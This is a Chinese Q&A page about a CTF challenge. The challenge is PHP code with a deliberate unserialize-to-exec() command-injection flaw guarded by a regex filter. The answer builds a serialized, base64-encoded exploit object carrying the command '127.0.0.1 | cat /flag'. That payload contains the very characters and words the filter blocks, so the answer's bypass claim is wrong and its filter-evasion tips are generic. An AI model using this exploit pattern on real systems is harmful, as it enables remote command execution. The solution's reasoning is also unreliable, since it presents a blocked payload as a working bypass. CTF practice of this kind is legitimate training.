题目信息是 <?php highlight_file(__FILE__); class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } function ping($ip){ exec($ip, $result); var_dump($result); } function waf($str){ if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { return $str; } else { echo "don't hack"; } } function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf($v); } } } $ctf=@$_POST['ctf']; @unserialize(base64_decode($ctf)); ?> 如何获得flag
时间: 2023-08-13 12:05:40 浏览: 171
highlight.rar_diffuse_highlight_specular_visual c
5星 · 资源好评率100%
根据提供的代码,我们可以看到在 `__destruct()` 方法中,如果 `$method` 的值为 "ping",则会调用 `ping()` 方法,并将 `$args` 作为参数传递进去。在 `ping()` 方法中,使用了 `exec()` 函数执行了 `$ip` 参数,并将结果输出。
要获得 flag,我们需要绕过 `waf()` 方法的正则表达式过滤,同时传递恶意的 `$ip` 参数来执行我们想要的代码。
由于正则表达式过滤了一些关键词,我们需要找到绕过这个过滤的方法。可以尝试使用大小写混合、空格绕过、URL编码绕过或使用特殊字符绕过等方法来绕过正则表达式的匹配。
以下是一种可能的绕过方法:
```php
$payload = "127.0.0.1 | cat /flag";
$ctf_payload = base64_encode(serialize(new ease("ping", array($payload))));
```
在这个例子中,我们构造了一个 `$payload` 参数,其中包含了我们想要执行的命令。然后将该 payload 序列化并进行 base64 编码,传递给 `unserialize()` 函数进行解析。
请注意,这只是一个示例,并不能保证一定能成功获取 flag。具体的绕过方法可能需要根据实际情况进行尝试和调整。同时,请确保在合法授权和合法测试环境下进行,遵守法律和道德规范。
阅读全文